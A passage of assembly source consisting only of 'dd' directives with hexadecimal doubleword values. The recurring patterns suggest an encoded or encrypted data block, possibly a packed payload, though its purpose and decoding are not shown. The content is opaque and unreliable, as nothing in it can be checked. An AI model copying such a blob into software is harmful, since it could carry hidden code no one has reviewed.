9E06179Ah, 0EA0771E5h, 0EC06BCD3h, 15669961h dd 0FEE71132h, 4767CCA9h, 0D6E7B733h, 476766A9h, 1A3D12B8h dd 156686B5h, 156FAD32h, 682A2232h, 0F19AA0B4h, 751BD26Ch dd 0FDB7CF54h, 15662237h, 24D47DEDh, 4A3FDB35h, 1A8F7853h dd 15676FB6h, 0AF007132h dd 29074870h, 7FE24BDAh, 0FC662233h, 15661138h, 0E314E821h dd 8DBAFD67h, 1A5A0A29h, 1501953Dh, 198F8832h, 0D8664432h dd 0E432F4Ch, 0F66E2DD5h, 0FC3916B8h, 15664437h, 673ADFDAh dd 1AAB2D88h, 156734B6h, 14E24B32h, 0E0662232h, 9169FA0Eh dd 156689D1h, 156654DBh, 0E12BAE32h, 84D7C4E5h, 3C1C7E53h dd 0D0D8F8CEh, 18F427Eh, 0C8661132h, 479D018Eh, 0EC57684Eh dd 0A2E7877Bh, 0BAA96295h, 74EFA534h, 0E9A5BC53h, 14DC70CEh dd 94661132h, 0FE4F56D8h, 9494456Ah, 0FE4FFCF0h, 4F7C9B6Ah dd 7FD6D8CEh, 0D3428316h, 0F5B6EACCh, 3152BF1Eh, 0FC3E4B12h dd 1566443Dh, 4F134F59h, 0F207CD0h, 0B3DA4C0Ch, 1A054A5Ch dd 156625BEh, 90DC7132h, 74440B87h, 1AE6BFB2h, 0EA9985B7h dd 1FEE1ECDh, 75668832h, 0DDE7C384h, 73221E18h, 0E2EF4653h dd 314A0965h, 17B718D8h, 0FFA5A369h, 4A64C06Eh, 118A09CAh dd 9C664432h, 13DF063Eh, 14661132h, 9769D1F9h, 15664425h dd 156630DBh, 82C5FB32h, 71292867h, 0B6177AA3h, 79175D6h dd 44AA5E2Ah, 15668A8Bh, 45974532h, 1566228Ah, 16AE1032h dd 0E03FD02Ah, 1566DFDBh, 7D37DB32h, 15661133h, 9E97896Bh dd 969E1D2Bh, 9169D9C9h, 156611C5h, 0D5713652h, 1C8F3B4Dh dd 34662232h, 13573208h, 40F210FDh, 118AC753h, 944216BBh dd 1EA13506h, 943DB9A9h, 8E6D83C1h, 9B69D703h, 1566112Ch dd 15746052h, 6FA14432h, 0FD6B3152h, 73B85F2h, 592ABDC4h dd 0ACB49CE7h, 61DC446Dh, 570E70E4h, 9C668854h, 14DE6036h dd 14662232h, 4D7E12C2h, 10DCDAC7h, 14664432h, 3172A9E1h dd 1562D5B3h, 9B698832h, 1566443Eh, 1560AE3Dh, 90691132h dd 15668832h, 0EA98DFDBh, 7E92DCDh, 1A661132h, 156684B0h dd 1561AD32h, 18002232h, 7FC1692Fh, 4BD08714h, 7306B833h dd 1A764A88h, 156617B2h, 15E58732h, 74664432h, 1A48C9B1h dd 0EA9872B6h, 258F71CDh, 0FC664432h, 15662238h, 0FBE57FA7h dd 1E465BC5h, 959AE74Ch, 1A98234Ch, 0EA9852B7h, 94067DCDh dd 683ED1FCh, 156ECB49h, 68231132h, 0BB3928B7h, 0FC079FCEh dd 0EA99DEC8h, 156617DBh, 0D142A432h, 0FCAF0F00h, 15662223h dd 0C87E21E6h, 44E49BEDh, 0E32B6279h, 0C3E494CCh, 0F0EF44D8h dd 15624DB3h, 0F8E54432h, 314AA536h, 3152986Eh, 156684DBh dd 80125832h, 126D45A5h, 0D3BE8877h, 118A0B7Ch, 1A4248BBh dd 15662FBAh, 156EF832h, 0FF248832h, 0A0AE7030h, 9C31C782h dd 11A190D5h, 96668832h, 29E140DDh, 9EF7E16h, 156EF816h dd 0BA4D8832h, 320734D0h, 9F0EBE6Eh, 9C66113Dh, 0FD06AC0Eh dd 1566443Ch, 0F250A859h, 6EB5F1E3h, 5503E9CCh, 9F69D72Bh dd 15662232h, 0D557706Ah, 156680DBh, 0D6B26932h, 14054197h dd 68FBD89h, 0F4668832h, 0C7F2DB45h, 17D6DE4Fh, 0B80E5800h dd 0F0EC502Fh, 94067F9Eh, 0B7F99EDAh, 0EDD87763h, 9D37E9E1h dd 0FFEE16F7h, 4C3CF1BAh, 156600DBh, 51451732h, 0ED503163h dd 43ED3BFAh, 34DCD40h, 0A1367159h, 0E3A2BAC2h, 17D571E6h dd 953DCD12h, 0F6469ADEh, 7EC4B6Ah, 0FC662232h, 1566113Fh dd 0D5239414h, 56E39A39h, 31910B85h, 0FFE671D3h, 15766104h dd 448C4432h, 9F944D51h, 60FE7785h, 0F55EC995h, 9507C5C2h dd 916952C9h, 1566172Dh, 15669CDBh, 84CE8832h, 0D99D1108h dd 3B186D56h, 0F4B34F8Ch, 37C324EEh, 1A691EBAh, 1566CAB6h dd 9E06E832h, 74ADCFEBh, 1A8F1E53h, 156D77B6h, 156B6132h dd 56F34432h, 0E4C19B5h, 1DAF32A0h, 29BE4774h, 56E24BD9h dd 7566223Dh, 0C3BFC18Bh, 74B50362h, 9169A70Eh, 156621E7h dd 156603DBh, 0E51BF632h, 9DC03AF6h, 3EAC937Eh, 773ECFA6h dd 292F9596h, 93E24BD0h, 1A662222h, 15661DBDh, 13EE8732h dd 1A664432h, 156622BCh, 3152EE32h, 11A20B6Dh, 3ADD2252h dd 67A4A3DFh, 741A38BDh, 4E42BCCDh, 0FC6280B1h, 15662238h dd 75C2D6A5h, 0A67576AFh, 21991782h, 0D1E77B16h, 15661136h dd 315203C7h, 9487CD63h, 156626F3h, 11A79032h, 92668832h dd 753A603Eh, 0FCA543CBh, 1566113Bh, 0DBBE992Ah, 7395BEC1h dd 1568CB7Eh, 11FF1132h, 0F797657Eh, 621A6FE0h, 0FB2E3262h dd 94F294F5h, 15608E9Dh, 96934432h, 11EF26DEh, 1566A916h dd 0E5678832h, 1A3E5CB8h, 156623BAh, 9369E932h, 1566882Bh dd 156650DBh, 0D51C0532h, 18B39AC4h, 5E3190B8h, 77AD02CEh dd 429D8E97h, 440041E6h, 0F9EE1D87h, 0D9981D54h, 0D998FEC4h dd 9561F5F2h, 0E1E6A3DEh, 4D856497h, 156CA03Dh, 108F1132h dd 29668832h, 0F8A18261h, 1AE6D9B2h, 0EA990DB7h, 9669E8CDh dd 15664431h, 429CA954h, 0E866AF54h, 0A833E96Dh, 15664433h dd 0ED3BCC1Bh, 157F9C3Dh, 0FD068832h, 15664439h, 9AA3103h dd 23C7C719h, 4E9C0F7Eh, 1566C93Dh, 9E072232h, 0BD6E2CB7h dd 0AC93E834h, 380467A0h, 40F3A953h, 7560B919h, 0FD953F3Dh dd 1566443Ch, 0F8E5E1F8h, 7EFA1A5Ch, 0A7F7C4Dh, 940070BBh dd 4AE56ED8h, 9C314153h, 4A9E01C5h, 0E03E87BBh, 15609A62h dd 0D6671132h, 96428CB9h, 976940F6h, 1566223Ah, 0CBED7752h dd 749D0354h, 1564FE60h, 0E7672232h, 1566A863h, 0C4678832h dd 4F3F5D31h, 1560A73Dh, 75061132h, 74AA0253h, 97699C09h dd 15662228h, 90DE7752h, 16CA314Ah, 2E07512Eh, 5BE02DE8h dd 1A99EECCh, 156689BDh, 0AA31B132h, 10A956ACh, 3C39EA33h dd 8B8D09C9h, 1A638B46h, 156636B8h, 1569F832h, 909D8832h dd 9663CD6Ch, 676984BDh, 434F5589h, 13D9DF42h, 94664432h dd 73156CD9h, 949D3827h, 7315C6F1h, 93691B27h, 15662225h dd 156603DBh, 0A4F47932h, 0E3B84E62h, 2D95D67Bh, 779048E0h dd 75FDE710h, 156650DBh, 971B1232h, 0C4DCF0B9h, 0D12A456Fh dd 370957A8h, 776B9F48h, 14ED1E75h, 0EC668832h, 75CB2253h dd 156624DAh, 8341DA32h, 73540CAFh, 4B05758Dh, 9C7DCBB3h dd 7307344Ah, 15686199h, 0C0534432h, 6BEBB425h, 0B6DA7EFFh dd 3FCC7333h, 0D6579C03h, 108FFA03h, 0DB661132h, 2C7584E9h dd 108F2499h, 2F662232h, 248804FEh, 1566063Dh, 47074432h dd 15662688h, 9EB01032h, 0D1E7AC26h, 15664436h, 156628DBh dd 44EE6032h, 8CB7B6C3h, 9C62C6FEh, 1A8F060Eh, 64661132h dd 767566F5h, 83B00203h, 5905A24Ch, 61EF95B0h, 1F8F8416h dd 0A9664432h, 36F34AB3h, 14326C08h, 0E0D301B4h, 7560EC34h dd 0F9479A54h, 156614DBh, 94A69332h, 9E0762B6h, 9C34060Eh dd 11A490D0h, 96668832h, 1E140F0h, 0FC067E16h, 1566113Dh dd 6868A882h, 0DBC5D7F2h, 506417B6h, 476B5AE4h, 156681DBh dd 0BD140E32h, 8F104DF5h, 743F7C8Fh, 4E42BCCDh, 156280B3h dd 0E9062232h, 1577F852h, 2D228832h, 3599A4BFh, 0A3776CB5h dd 623067B1h, 73163848h, 74B4BA88h, 2199DA53h, 0D1E54816h dd 15636136h, 34874432h, 9EB4EB4Fh, 9C313506h, 11A109D5h dd 96664432h, 29E126F5h, 42064D16h, 0A0183654h, 0A269126Dh dd 40077CC0h, 0D0E7F4BBh, 15668836h, 926281B1h, 31ED061Eh dd 156FF816h, 6C628832h, 8264DBC7h, 0FC2ADB08h, 0EA99CE25h dd 81E34FCAh, 1760EBB3h, 0FC662232h, 15661134h, 943B3578h dd 1E8FD10Dh, 0D4662232h, 7EEECAF8h, 0EDDD9E49h, 9C334725h dd 21E777C7h, 0CE345416h dd 0E6E7D323h, 4BD1677h, 1AE22D6Fh, 0FC661132h, 15668838h dd 1E630538h, 0DDE3375Fh, 0A369562Eh, 156A613Ch, 0EDA4432h dd 0C5A7DE0Eh, 9A66B21Fh, 0ECE634EFh, 4CE54BB2h, 1A662232h dd 156619B0h, 17EB8732h, 75664432h, 9E8DA353h, 944FA946h dd 4162FBF1h, 94AD453Eh, 416251D9h, 9EA5903Eh, 1A4F3046h dd 156649B7h, 0CFD84232h, 94136AA5h, 0E5BEACDAh, 0A833251Eh dd 0EA99DDCDh, 0EC3BFA1Bh, 156617DBh, 94002432h, 1AD795DCh dd 156613BBh, 74A40332h, 0E383F761h, 0F095A2E1h, 3DE3D0B2h dd 908F08EBh, 1EE84B69h, 75662232h, 2A85DFB3h, 0F1E6C9DCh dd 473625B4h, 671E588h, 0E22C5B14h, 0D3A409E0h, 9C405725h dd 0DD4F78E2h, 439E49A3h, 550E568Ch, 1080856Eh, 2DCEC4B3h dd 94203213h, 414702C4h, 1988C530h, 3464770Ah, 95064FC3h dd 0D5E65AD0h, 730625CAh, 73B2B78Ch, 9407DAB9h, 737D4DF1h dd 0B08DC52Eh, 3C135E7Dh, 0B0A590F9h, 9413F47Dh, 737D81D9h dd 1560CB2Eh, 69441132h, 0FC7A62AEh, 1D5BC1B9h, 48F249Ah dd 0D4661132h, 0DEEA6112h, 1C6609D2h, 5B65D707h, 0C261EC47h dd 3E331DB9h, 0FC06429Ah, 1566223Ch, 97C89CF4h, 48DDB92Ch dd 0C8D1C3CDh, 9400D1E6h, 74B181E0h, 0D3D98752h, 1560CA3Dh dd 93692232h, 15661132h, 84DB0B53h, 1460EC1Ah, 117FA63Dh dd 0A5061132h, 0D4E7EE6Ah, 2C074650h, 1DE42DF1h, 75661136h dd 2C077880h, 87E44BE1h, 0FC99DDC8h, 1566113Dh, 56348882h dd 249FCD28h, 0FBE47C2Eh, 0FC4F5652h, 15668BD1h, 156642DBh dd 35E4B232h, 0D2210F12h, 0BAE71CB7h, 15664634h, 1568CB32h dd 499A1132h, 3E513471h, 5CB3FBD1h, 1E61831Bh, 156F9C3Dh dd 0A2068832h, 0C5E72294h, 44078CE4h, 9C949860h, 0DEEFD2E3h dd 0A369BD6Bh, 1577CB3Ch, 35291132h, 0F72C1C45h, 0AA72084Fh dd 0CE54166Eh, 95B7A562h, 966908CBh, 15664451h, 12EB2DCBh dd 75661132h, 45B50354h, 0FEE7256Ah, 5E07FD8h, 0AA31DA33h dd 5E0D5D8h, 0E039BF33h, 3162DD61h, 96420DB9h, 95698CF6h dd 1566442Ah, 0F9B99C52h, 1E8E123Fh, 0B4668832h, 5E0EE3A4h dd 0ABB3A09Dh, 743F718Eh, 15663ADBh, 97692432h, 15662230h dd 9C697052h, 15668834h, 1566C43Dh, 46072232h, 0EC4EEE85h dd 964294B9h, 996940F6h, 15662222h, 156C943Dh, 108F8832h dd 0C0664432h, 55D8B3D6h, 1566AE65h, 0DA4F8832h, 0DA57BD03h dd 0FC39DB03h, 15661123h, 0E1D5FF67h, 4D9FB1Fh, 2184A9E7h dd 3CA8FF5Ah, 20DED8FAh, 0E2283D4Bh, 53150FE2h, 0E2F7359Ah dd 265319E3h, 2053FC55h, 53FFFA56h, 0FC3ED013h, 15668823h dd 93043606h, 0ADB0025Ah, 774D6923h, 88207E77h, 48A5C5C6h dd 3C2DD574h, 48DB44F9h, 3C2D7F74h, 9E0619D9h, 0EED12DFCh dd 94007153h, 1A4827D8h, 9E07B685h, 0BD6E1FB7h, 12E11E34h dd 1A668832h, 156645BDh, 80EDD732h, 13CE3A67h, 84DB0BCBh dd 1460EC1Ah, 173FA63Dh, 0EC061132h, 5D7F59B3h, 2E073CCDh dd 35E42DEAh, 0ED661132h, 0AADEEE52h, 9E001490h, 2C077CE3h dd 0DFE01EE1h, 1A9977CAh, 156642B2h, 0DEEC4232h, 42079A83h dd 0EC54028Dh, 52B9B331h, 6987D5B3h, 0E2E76910h, 6EBDC65Bh dd 0FC39BA33h, 15662235h, 0EB95E35Ch, 0ED74219Bh, 0C5907C82h dd 0C5904316h, 0F5A6F906h, 0A037EE37h, 738E6C83h, 0FCCCDE6Bh dd 15661137h, 6AFB1B48h, 15DE1404h, 14662232h, 15DD42C2h dd 14668832h, 4E6DCEF1h, 0AC00426Ah, 4607D9C9h, 9D370881h dd 4CAECCEBh, 1569CB69h, 12FF1132h, 0C87C2741h, 79EC5DEBh dd 5745BF9Dh, 156DF868h, 16628832h, 0BDB57BFDh, 0D64B52CCh dd 7BD043BEh, 0F3B65EC4h, 0E3E68ACCh, 9E97021Ch, 0D1E53526h dd 3E58736h, 0FC664432h, 15662223h, 0BC4CA01Eh, 8C38DD6Fh dd 60B307B1h, 0AF6A76E0h, 0FCAE19ECh, 15668834h, 3BFAA486h dd 0FCCCBD7Eh, 1566113Ah, 0E4DAEDE7h, 0C0032091h, 156632DBh dd 9A84CD32h, 7952CE9Dh, 59662E83h, 1BE56C1Bh, 0D9A5902Ch dd 3C73F40Eh, 0D9DE14C9h, 3C735E0Eh, 926949F1h, 15668833h dd 11DE14CBh, 94662232h, 215C25F1h, 94A5A11Eh, 215C70D9h dd 97697A1Eh, 15661133h, 24BEB9C7h, 0FCBE75F1h, 15662237h dd 6D90AE9Ch, 759A23E4h, 0EDACCF54h, 118AA153h, 0AD4215BBh dd 15668830h, 753E8233h, 746297CEh, 1393A4BBh, 1D8F8E9Ah dd 0AB664432h, 0B0BC8360h, 0D2F20AE6h, 0BD4E19B7h, 15664534h dd 4131DE32h, 11A1906Dh, 96668832h, 29E140F5h, 0E99A7E16h dd 4E4225CDh, 75624CB1h, 74B4F33Dh, 4C4216CDh, 1562D5B3h dd 138F8832h, 9C664432h, 2D208984h, 9C34ED1Dh, 0B0D8DED0h dd 5339B451h, 0C391FCC5h, 0FBE7CFC5h, 0B5691465h, 9638B633h dd 1E126F0h, 9D694D16h, 15668834h, 42A1CE52h, 9E69436Dh dd 15661135h, 0AC007152h, 44079546h, 0D4E7C3BBh, 15661136h dd 15623361h, 0CC674432h, 316AA569h, 156CF86Eh, 0AF458832h dd 7637AE99h, 0A2ECD05Dh, 10EF1E52h, 0AA668832h, 1221CD0h dd 156627DAh, 56C7DC32h, 1D8F1A01h, 0AC664432h, 8282C190h dd 4AED26AEh, 0CC376153h, 7D9FBBCDh, 15667AC5h, 0EA4225BBh dd 1A38AC3Eh, 156664B0h, 78E4232h, 99661132h, 1D9E7E0Dh dd 3E4E6C1Dh, 38CB9A00h, 3BC8B06Ch, 9969D21Ch, 15664432h dd 8DD57153h, 95DBFAB2h, 0DE9899F1h, 9D9887B2h, 9C6979EAh dd 15661135h, 1567033Dh, 0BF9E4432h, 0AA3174CAh, 75B735C8h dd 1142F41Bh, 0EF631C6Dh, 0FC06F316h, 15661123h, 867C65E5h dd 552F9E0Fh, 413D6F2Fh, 0A41EF665h, 8063740Ch, 38032909h dd 740F10DEh, 0F963E91Bh, 3807E100h, 700B7FA7h, 260C4ACBh dd 1EF1132h, 15623216h, 0C54F4432h, 9969D768h, 1566112Ah dd 15669BDBh, 15B67A32h, 0FF7A5F80h, 0E6CF09AEh, 0A981136Dh dd 0C2EE83C9h, 1574CB99h, 0D101132h, 0FD83C641h, 7FC7065Ah dd 0F6DF6022h, 9FE30EF7h, 15668FDBh, 1C81DA32h, 1F841BA0h dd 94819865h, 15668CF5h, 11A1C732h, 3112DD65h, 11E94E36h dd 9506D416h, 0C6ECCBE2h, 3152DD53h, 11A29069h, 1A668832h dd 15664ABBh, 9E694232h, 15661132h, 7D3A68B3h, 9E073954h dd 9C34063Eh, 11A490D0h, 96668832h, 1E140F0h, 94067E16h dd 4429FFE5h, 0D7E7EE12h, 0EA07D228h, 94380606h, 156615F6h dd 4E28732h, 1A664432h, 156629BAh, 1560F832h, 49E68832h dd 0BEC69515h, 4584AB60h, 1566158Ah, 4DA48932h, 926286B1h dd 1A3A0626h, 156610BDh, 178F7D32h, 7599BBE9h, 0B943F18Dh dd 18F7057h, 33668832h, 0EDCDA4CBh, 0EDBBD1D5h, 8A30BFEBh dd 0C67F888Fh, 0D252BCF0h, 0BAE7B6B7h, 15661434h, 15636132h dd 0FC0C4432h, 443BA604h, 0DEEFE0BBh, 944284B9h, 156640F6h dd 0AC37D732h, 15661136h, 50814BB3h, 0DE6714D8h, 5081C9B3h dd 0FC3F41D8h, 15668839h, 0D9679E37h, 69E363B8h, 477F783Bh dd 15668888h, 9EA4C532h, 14037931h, 9E8C90C0h, 1603D331h dd 0AA061E28h, 40F5B5F1h, 7427E2B2h, 1D5B0DB9h, 58F429Ah dd 71662232h, 4FC3595Fh, 7CC99040h, 0D43FD345h, 9E08BCB9h dd 0BD4D44A7h, 14ED8734h, 0ED664432h, 0EA999B63h, 0DB67EECDh dd 48EE86Bh, 45664432h, 40B63B5Dh, 0B3224381h, 57D487D4h dd 9B2761A1h, 2A7DA88Ch, 74934B4Fh, 32FF35B1h, 1A67429Ah dd 156019B6h, 0CD5DE832h dd 15460A3Dh, 93694432h, 15662233h, 1ABC2ACBh, 1567E1B4h dd 156AAD32h, 0CD842232h, 4695EC3Bh, 0A088D97Dh, 0A0EFFDB4h dd 13CE24C7h, 15619C3Dh, 96698832h, 15664433h, 1576CBC7h dd 5E21132h, 0FA30B6AEh, 85D340Eh, 0D52173B4h, 88EDB5CFh dd 13C909A6h, 157FC13Dh, 18F2232h, 7E661132h, 7F3E5EB2h dd 26A07343h, 0E9706075h, 1B88B951h, 947EF8D1h, 976A605Eh dd 9438090Dh, 726A3576h, 1452F108h, 946A606Eh, 726A065Eh dd 94526808h, 976AAC76h, 0EC386F0Dh, 1563B9DBh, 1EEF1E32h dd 0FC668832h, 15664434h, 16614B6Dh, 9E063C92h, 0A269E8E8h dd 9EDD22E8h, 9E0743C5h, 9C35350Eh, 11A509D1h, 94664432h dd 156626F1h, 317A9632h, 90A1716Eh, 13CE63ABh, 15662233h dd 1569913Dh, 1F8F8832h, 13664432h, 1A9DE6E9h, 0B47A3343h dd 3152774Eh, 11A2C569h, 75662232h, 1565943Dh, 0C5E68832h dd 11ED4B33h, 73662232h, 7440268Bh, 454284B9h, 1163A4BBh dd 96662232h, 11E115F2h, 9E9ED416h, 9C376006h, 11A7A3D3h dd 94661132h, 15668CF3h, 316AC332h, 1FEB2D6Eh, 0FC661132h dd 15668837h, 77B9E22Dh, 118AA3C3h, 9C661132h, 0F7EFAC26h dd 156286B3h, 0D7E52232h, 31729636h, 9E00E86Eh, 0FC07BDF0h dd 0EA99F749h, 15661CDBh, 9C08232h, 5696F6F7h, 1D7D9A42h dd 0A8E5542Ah, 13CEA0A3h, 0B8E24B33h, 0ED662236h, 1D5B8C19h dd 90698E9Ah, 15664435h, 1567AE3Dh, 9E9A1132h, 0BD7C19BFh dd 0D7ED2434h, 20A7A353h, 941BAB10h, 0D15A24DBh, 94BF4541h dd 0D15A8EF3h, 208F9041h, 751B3210h, 1563CC3Dh, 94002232h dd 0FCBCD0DDh, 1566883Dh, 0F0D5D2E7h, 0CBEEFA49h, 9A8AF1D6h dd 749A023Bh, 1567C53Dh, 429E2232h, 306F7E8Dh, 5AB17F40h dd 0E2E79BC5h, 16A5195Dh, 3C39E833h, 0B8F09CBh, 0ED17A200h dd 9C62CEB1h, 10D83506h, 3C668832h, 18F1AC3h, 0AA662232h dd 27C218B3h, 72280D59h, 96E01B7Ah, 4C899B34h, 462D739Bh dd 0D5893963h, 0D4E643DBh, 38FA2CCh, 9D3FDABAh, 1D8FD3EAh dd 0ED664432h, 0DA3A00Dh, 0BF875D6Ah, 24AEB9C7h, 1AAE75F3h dd 156625B2h, 0C8DF7132h, 7476D7EAh, 9C37B199h, 0D0DC70D3h dd 941CF72Dh, 0F37949D8h, 4FB74548h, 9262E3B1h, 0FC3A353Eh dd 1566883Dh, 0F34F3072h, 0FDAFE12Ah, 23F3DCCEh, 9EDCF5EAh dd 9C35602Eh, 11A5A3D1h, 96661132h, 9E18CF1h, 92691816h dd 15662223h, 15661DDBh, 558AAB32h, 0D071EE94h, 0EAB78E69h dd 3152EED9h, 11A2096Bh, 0E9664432h, 424216B9h, 0D2E7F6BBh dd 15668836h, 156283B3h, 29E12232h, 97694D16h, 1566883Dh dd 15664EDBh, 44C12732h, 5798FBC4h, 4099F5D5h, 0D0E7A1BBh dd 15662236h, 9262D4B1h, 31EDAC1Eh, 1AE54B16h, 75662232h dd 0FCB6A63Dh, 15668837h, 0E087C8EDh, 0EF8F4325h, 0FC99EEE4h dd 15668838h, 1A5E620Eh, 0AA2347E6h, 90A1FF75h, 13C909A6h dd 15664430h, 15662FDBh, 0AB1D8232h, 0B16563B8h, 0F8D92F6Eh dd 9C311800h, 9E9D98C5h, 0D1E5AC0Eh, 1EE94B36h, 75662232h dd 1A9C9A54h, 156688B1h, 0A3692532h, 1572CB3Ch, 93CC1132h dd 4ACCF6D2h, 5465B2FAh, 39FB6CEh, 0FBA9BDEBh, 0ECE68D79h dd 5CE54BB2h, 0FC662232h, 15661139h, 70589511h, 70C8A225h dd 94AE3675h, 0C44CA9F1h, 43AD897Bh, 0C44CFC8Ch, 4B950B7Bh dd 15661DDBh, 0CB0C0732h, 2ADC0B64h, 0DE1B7966h, 0EAD94601h dd 3C9977CDh, 1A931BC9h, 156623B3h, 828FE832h, 0E0668832h dd 9599F260h, 0E44E18DBh, 4F5CD0B2h, 15668EDBh, 0C5FA6632h dd 4660384Ch, 15661189h, 5DA50932h, 3C15DC3Eh, 5D8DA3F9h dd 9C15893Eh, 1F8FD3EBh, 1D664432h, 0DB8D6500h, 978B6EEh dd 118A09EFh, 9C664432h, 0EAD80606h, 34661132h, 1A8FD6C3h dd 10664432h, 7C1833F4h, 96C1D602h, 6956B0C3h, 0AD360638h dd 1BC05CEFh, 9D3D7D17h, 128E490Dh, 24FE717Ah, 0C5911229h dd 62B18107h, 4DA5A19Dh, 0D6E78F1Bh, 75E83B76h, 1567953Dh dd 1A9A8832h, 156645B6h, 90EDDE32h, 13CE190Fh, 16EB8752h dd 73664432h, 9E07FDB9h, 0BD4D44A7h, 15696134h, 0C9C14432h dd 0E66C2DFCh, 0D34F05C4h, 52DC4FFFh, 0EE48AD91h, 9669DDCDh dd 15661133h, 81E34FCBh, 1760EBB3h, 75662232h, 1560993Dh dd 9B698832h, 15664432h, 75A49552h, 43077053h, 944294B9h dd 156640F6h, 0AE9F4232h, 3FD5C558h, 1BD08753h, 959FC4CEh dd 153EA13Dh, 1A8F1132h, 8D668832h, 0F742661Bh, 19D42BF5h dd 0C45692EAh, 0AC379C49h, 417969AAh, 946ECBF3h, 7632AAC3h dd 4CADA15Ch, 0D6E78F33h, 7B5169A4h, 15661EDBh, 0D17CAC32h dd 0D4B04FEAh, 0DB381258h, 0CA7F25EBh, 15673163h, 0DE674432h dd 14ED2D6Bh, 0E9661132h, 156609DBh, 0A536B832h, 9EA70ACDh dd 0D1E53536h, 14EB8736h, 0ED664432h, 3F8DA252h, 1567953Dh dd 749A8832h, 0C091ADB5h, 0ED27CBB5h, 9C62FDB1h, 9FD8AC06h dd 942D2400h, 9648EAFCh, 20909004h, 34196B0Ch, 73061AC3h dd 9E68FDB3h, 1564963Dh, 4B378832h, 0DFA5C553h, 3C54AD43h dd 4DE41F9h, 5D792461h, 0B74FD63Fh, 2EA52F6Dh, 0CD910EF9h dd 704A57Ah, 0D64F29B3h, 12E92D6Ah, 75661132h, 46953F3Dh dd 90ED256Dh, 13CE2A0Fh, 40F39ACEh, 0FC602019h, 1566443Eh dd 0D4E4016Fh, 7704A72Ch, 7F7DAAA4h, 1563AD52h, 736A2232h dd 9462E025h, 6CB27DD8h, 0A8E52512h, 13CE0AA3h, 0B1E21E33h dd 759977C5h, 0C5AFFA54h, 1565AA3Dh, 0A2691132h, 0CD5DE9CAh dd 157EC63Dh, 2C9E2232h, 0FE01EE1h, 1A9977DCh, 15664DBCh dd 2D24232h, 3B549189h, 0A833E957h, 15664433h, 1A3BCC1Bh dd 156616B7h, 0A269E832h, 740724F8h, 3162A364h, 7D400C7Dh dd 964284B9h, 0FCE740F6h, 7D403F7Dh, 1567923Dh, 0E99F8832h dd 26ECADB3h, 0D4E7381Ah, 6B470A65h, 0FCE7711Bh, 6B475F65h dd 26ECE3B3h, 0FC060B1Ah, 1566883Bh, 10D17BE1h, 1CF8CED3h dd 612BAF39h, 0ED07A3BBh, 1563FE60h, 0C44F2232h, 944205B9h dd 15668CF6h, 0A334BC32h, 2521929Ch, 31729AC2h, 0EC624CB1h dd 12EF4B98h, 75662232h, 6D899054h, 7D36E9F2h, 15663687h dd 4D422EBBh, 0FCCDED6Bh, 15668822h, 0D5073733h, 0DF4CCAA5h dd 896EDE44h, 0C1B2A884h, 0EAB504DBh, 1DE52DCDh, 75661132h dd 15660D3Dh, 47074432h, 15662288h, 9F941032h, 31720330h dd 156280B3h, 0FC062232h, 1566113Fh, 28AACA27h, 0B88FCDFh dd 7C69A1B7h, 9E0046A5h, 2907D2F3h, 7EE24BDAh, 75662232h dd 15661DDAh, 3E27932h, 5A18BB8Ch, 0DA8D74E0h, 4D9F9A85h dd 156698DAh, 0EC33F232h, 3E533DC7h, 0DDFF04DBh, 1EC41952h dd 8B86C5C2h, 4B241984h, 0E1DB4453h, 94740D64h, 9030B0DFh dd 9E8EAB20h, 0D1E5351Eh, 14ED8736h, 0EC664432h, 156EA93Dh dd 9C691132h, 15668830h, 0AD8F2552h, 75662233h, 0FF6B388Dh dd 0DDD9EE67h, 110E25F6h, 9C662251h, 449A352Eh, 0DEEF79BBh dd 944248B9h, 156626F6h, 19EA1E32h, 1A668832h, 156642B4h dd 15EE2D32h, 44661132h, 1566898Bh, 16974532h, 316AA92Bh dd 1562D5B3h, 93698832h, 1566442Ah, 156631DBh, 37512C32h dd 5850B840h, 9E679734h, 8BA5D56Ch, 9AA567A4h, 15633260h dd 0FEE74432h, 2BA60D31h, 0D6E7C233h, 2BA6A731h, 0CBE72468h dd 0A37A7BCh, 156614DBh dd 0FE09BA32h, 73078A44h, 9D8E9460h, 1ED77C2h, 17A20916h dd 0FC664432h, 15662235h, 0B4024E04h, 0BFA5F886h, 156ACA3Dh dd 97692232h, 15661134h, 15660F3Dh, 0D6E74432h, 24A0A1Ch dd 5FB4FAB3h, 0EE4F9BA4h, 5FB487B3h, 0FEE731A4h, 24A391Ch dd 11DCDAC7h, 94664432h, 0EB7403D9h, 94B53869h, 0EB74A9F1h dd 45931E69h, 9C62CEB1h, 4E3E352Eh, 1567073Dh, 1A9E4432h dd 15663EBAh, 0C8E67132h, 15746124h, 3B4B4432h, 613C8D01h dd 13451009h, 31678A6Bh, 79C5BD49h, 58F8953h, 0EA661132h dd 0CE40307h, 6B4D009Fh, 207CF5F1h, 9E48250Ah, 9C33AC2Eh dd 11A3C5D7h, 96662232h, 39E115F7h, 759ED416h, 1560C93Dh dd 9C692232h, 15661132h, 4535E9CEh, 1566418Ah, 4DA5AB32h dd 0FC3DCF33h, 15668835h, 7BB9864Ah, 759AEAD7h, 2719A952h dd 0DEE7F61Ah, 159C7E55h, 4707DB53h, 0D869035Ah, 0D7E7D20Bh dd 0D354B4DDh, 1EDF2BBh, 11A29016h, 1A668832h, 15664CBBh dd 17E62D32h, 75661132h, 156B6153h, 4FB64432h, 1BCAE08Dh dd 92CCE723h, 0D67DA08Ah, 0F6EF17CAh, 1562E1B3h, 0FEE71132h dd 15668836h, 494258B5h, 0EC422EBBh, 1566A863h, 0FCE78832h dd 40124B06h, 0D4E7D333h, 40121E06h, 4C670354h, 1563AC52h dd 651E2232h, 0A79D76F5h, 9969D01Eh, 15664430h, 2907E5B9h dd 0C7E21EF1h, 0E0668832h, 91698F0Eh, 156622FBh, 1AA42DCEh dd 156792B6h, 156EAD32h, 0C8C2232h, 0A6603CF7h, 0DF5AEDE7h dd 1463C03Dh, 1D8F2232h, 13661132h, 3CABE05Bh, 73BDD23Fh dd 1A43DD0Fh, 156735B6h, 0AF00E832h, 9E00067Eh, 739343E8h dd 1A993F0Fh, 1566C3B7h, 0AF34BC32h, 15662230h, 0AC37E333h dd 15668832h, 14EC9533h, 469F786Bh, 0A5364085h, 0E3BE7E55h dd 0EBB6B2E2h, 119006FAh, 4DA12123h, 0FC3D7012h, 1566443Bh dd 0C184C979h, 2EA1A51Ch, 1AC6B458h, 15676DB6h, 14E22D32h dd 0E0661132h, 4C42BCCDh, 156280B3h, 1A062232h, 156613BCh dd 1AC43932h, 7D079A8Dh, 15662232h, 964215B9h, 0FC938CF6h dd 15664587h, 